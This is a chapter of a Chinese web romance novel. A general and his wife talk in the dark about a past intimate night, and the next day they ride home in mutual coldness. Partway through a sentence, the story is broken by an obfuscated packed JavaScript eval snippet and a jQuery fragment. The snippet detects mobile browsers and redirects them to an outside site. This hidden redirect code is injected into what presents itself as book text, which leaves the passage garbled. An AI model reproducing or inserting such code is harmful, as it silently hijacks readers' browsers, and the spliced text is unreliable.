57.试探

作品:《少惹将军

    气氛突然默了下来。


    现在到哪一步了,按理说,应该可以睡觉了。


    陆沉留意到顾流纨赤着脚踩在地上:“我们俩个要在这站一晚上吗?”


    “那……睡吧。”


    陆沉突然伸手,蜡烛随之熄灭,屋子里便一团漆黑。


    “你睡里面睡外面?”


    “我……都行。”


    “那你先去。”


    “哎……”


    顾流纨也不知道这人为什么要灭了蜡烛,黑灯瞎火的,好一番摸索。


    她刚躺下,陆沉便跟随而至。


    这家伙,目力可真是好呀。


    流纨感觉陆沉有些生气,也怪自己刚才闩门闩得太快,竟然叫节帅大人吃了个闭门羹。


    为了弥补,顾流纨摸索着,将被子掀开一角搭在陆沉身上,很狗腿道:“将军小心着凉。”


    那边没什么声音。


    被子里一阵清冽的气息。


    不似她往日用惯的香水,这气味说不上来,但十分好闻;或许是皂角味儿。


    这小子,还挺爱干净。


    陆沉突然道:“你是狗吗?”


    “哈?”


    “在闻什么?”


    “哦,气味,你是用皂角洗的头吧?”


    那边又没了声音。


    就在流纨以为他懒得理她的时候,陆沉声音微涩:“不是。”


    “那用的什么?怪好闻的。”


    “你猜。”


    流纨又把头埋进被子里:“不熟悉,猜不出。”


    陆沉道:“行伍出身,不惯用香;不过用冷水随意擦洗了一番。”


    “原来是你自己的气味……”


    顾流纨说着说着,就觉得不太对了。


    这话题,有些暧昧啊。


    陆沉似乎不觉,又道:“往日你没闻出来?”


    “平日隔得远……”


    那边的声音突然又轻又哑:“……不是也有近的时候。”


    流纨的脸膛一下子发热。


    这……他在提醒?


    两人曾亲密无间,水乳交融,怎么能叫远呢?


    陆沉等了一会儿:“怎么哑了?你平日里不是很嚣张吗?”


    “我哪有嚣张……眼下我有些困了。”


    “顾流纨,把人撩拨起了心思,现在却要睡了?”


    “什……什么?我没撩拨你。”


    “是,你没有。反正事后装傻,你也不是第一次了。”


    这个流纨没法子跟他争辩。


    但也确实没想到此人还挺记仇。


    顾流纨仔细反省了一下,刚才就不该说他身上好闻,换个身份,他要是对自己这么说,那怎么不是撩拨呢?


    谁知陆沉下一刻就道:“你素日爱用玉兰香,此时,较往日更淡。”


    顾流纨:这是反弹?


    “将军才是狗鼻子。”


    “或许,我记性比你好?”


    “啊……是的。”顾流纨心里那个紧张,胡乱拍马屁:“将军何止记性好,还眼观六路,耳听八方……”


    陆沉突然翻了个身。


    本来床榻就小,两人平躺着,勉强才没碰到一起,此时陆沉一翻身,顾流纨只觉得自己碰上什么铜墙铁壁,顿时觉得压力。


    陆沉看着她:“原来没了明珠投,你便这样胆小。”


    顾流纨下意识地伸手去抵,却不敢太用力,幸好屋子里黑,不然指不定尴尬成什么样了。


    “说什么胆小不胆小的,将军说什么,我听不懂。”


    陆沉:“少装蒜。顾流纨我只问你一句;当日在冯家,你到底……记不记得?”


    顾流纨声如蚊蚋:“记得。”


    谁知道陆沉不肯罢休:“记得是我,还是记得……别的?”


    这,这有什么区别吗?


    “这个问题很难回答吗?”


    这没什么难的。


    不!这有难度,搞不好这是个哲学命题。


    顾流纨不敢回答,怕一个不小心,就惹恼了他。


    于是她含糊其辞:“我都记得。”


    陆沉的声音是显而易见的喜色:“真的?”


    顾流纨娇羞地点了点头。


    陆沉心软如酥,声音也变得极温柔:“那你说说看。”


    流纨大惊。


    说什么?还可以这样,难度系数突然增加的吗?


    “你要我说什么?”


    “我记得你的玉兰香,你呢?”


    “我记得……”


    陆沉热切地等着。


    但是流纨没说,陆沉却又道:“我还记得……你那个时候,会咬自己的手指……”


    别说了!


    真的要臊死人了。


    难怪这家伙要把蜡烛给息了。不然只怕他也问不出口。


    “我还记得,你……”


    阻止,赶紧阻止!


    “陆沉……”


    “嗯?”


    这怎么好说出口,不会被和谐吗?


    再说当时情动,她确实太记得一些细节。


    反而是感觉,她印象极其深刻。


    极痛与极快,都是陆沉给予。


    怜惜与猛烈,都是他。


    “我能不说吗?”


    陆沉显然很失望。


    眼下这人气性大得很,不能轻易得罪。


    那好吧。


    “你那天……一开始拒绝来着。”


    陆沉讶然,随后一想,似乎的确如此。


    他怕流纨多想,立刻解释道:“因为当时有些仓促,我不想叫你觉得太草率。”


    流纨好奇:“那后来怎么又从了呢?”


    陆沉无语地看着她。


    试问谁可以不从?


    谁能被那一双水光潋滟的眸子看着,被她软软的拽住,还能忍得住?


    “是因为……”


    “那晚固然有我的不对,但是你明明可以义正言辞地拒绝我,劝我自重!”


    顾流纨一本正经地说。


    等等,怎么换成她来审问了。


    反了是吧?


    陆沉才不上当,马上掌握主动权:“后来呢?你还记得什么?”


    “后来……你说,顾流纨,这是你自找的。”


    “你又问我,后悔吗?”


    “后来你又说,明日冯家家主迎亲,问我要不要去观礼……”


    “你还说,冯家家主一定想不到,他院子里有人先比他一步……”


    陆沉无语:“就这些有的没的?”


    自然不是,可顾流纨说不出口。


    当时陆沉还说:这世上男女都是先成亲后洞房,只他们二人是个例外。


    她还记得陆沉说这句话时,眼睛深深凝视着她,似天地之间,他眼里只有她。


    身体的极致感受加上这般浓烈的情绪,叫流纨不知如何应对。


    她有些心虚的,当时只知道小哥哥好看,怎么看怎么顺眼。见他要走,心里又害怕,便牵住了他的手。


    真没想那么多。


    当时回答陆沉的,是一串破碎的婉转啼声。


    更何况现在事过境迁,早已不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034757|185655||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是当初。


    陆沉听那边又哑了火,觉得这般逼迫人家没甚意思,又躺平回去:“睡吧。”


    没过一会儿,陆沉便继续均匀,像是睡着了。


    倒换成流纨睡不着了。


    今日观礼,倒像是他特地安排一样。


    她吸食过大量的明珠投,有时候脑子也会不清醒。


    所以,陆沉才这般安排。


    试验她,审问她。


    但是他不会再相信她了,无论她今晚有没有猜中他的心思,答得他有多满意,他都不会再信他了。


    倒不如说实话,起码显得真诚。


    比起她与齐粟那些日夜,或许当日在慈恩寺当着他的面背刺他,都没有那么可恨。


    次日,流纨醒来,身边人早就不在了。


    流纨被人服侍着洗漱,穿衣;用了些朝食,上了马车。


    陆沉早在马车上候着她,手上捧着一本书,脸上看不出什么。


    “早。”


    流纨朝他笑了笑。


    陆沉低头翻过一页:“辰时末了。”


    流纨没觉得辰时末就不早,但还是夸张地说了一句:“这么晚了,你一定等很久了吧。”


    “还好,也就看完了半部兵书吧。”


    顾流纨拉住陆沉的袖子,摇了摇:“对不起了嘛……”


    陆沉抬眸。


    顾流纨正在撒娇耍赖,与他甫一对视,被这眼神里的冷意凝住。


    随即陆沉不露痕迹地扯开自己的袖子:“夫人用过朝食了?没用过我叫人送到车上来。”


    流纨冷不丁被人客气,一时间不知道是气还是惊。


    昨晚那暧昧热烈的气息,此时已荡然无存。


    幸好他昨晚诸多试探自己没迎合;若是自己禁不住撩拨,娇羞喜欢种种作态,今日还不知道怎么被他看轻。


    流纨见他冷冰冰的,决定比他更冷。声音里淬了冰:“用了,不用。”


    陆沉便不再理会,只看自己的书。


    过了片刻,流纨觉得自己只说一句话还不够冷,又道:“下回观礼就别叫我了,我不爱吃什么喜酒。”


    陆沉也不答。


    流纨气得叉腰:“我说话你听见了没有,我不喜欢吃喜酒。”


    陆沉爱理不理,敷衍道:“好,不叫你。”


    “你……”


    哼!


    你小子下回别找我说话,不然看我怎么冷淡你!


    这一路两个人比赛似的不说话。流纨为了表示自己不在意,一会儿叫人送酒送棋送吃的;一会儿与刘翼德攀扯,跟人家很熟的样子。


    倒是刘翼德,几次看向陆沉。流纨问他,他也不好不答,话比兔子尾巴还短。


    流纨觉得这人没劲死了。


    棋送来了,陆沉扫了一眼。


    她击棋子玩,也不喊他。


    酉时末,终于回了府。


    流纨率先跳下马车,陆沉随后。


    这时门房朝陆沉行礼,道:“节帅,卫国公来访,眼下正在东园花厅等。”


    流纨一只脚刚跨过门槛,却突然被钉在那里。


    陆沉在她身后,看了过去。


    刘翼德在一边见陆沉不答,便对着门房咬牙斥道:“谁叫你放他进来的?”


    门房惶恐跪地:“小人不知道……”


    陆沉道:“你怪他做什么?他能知道什么?你先起来。”


    刘翼德听着,陆沉的语气倒也平和。


    陆沉走到流纨身边:“我去会客,你先回南园。”


    顾流纨感激地点了点头。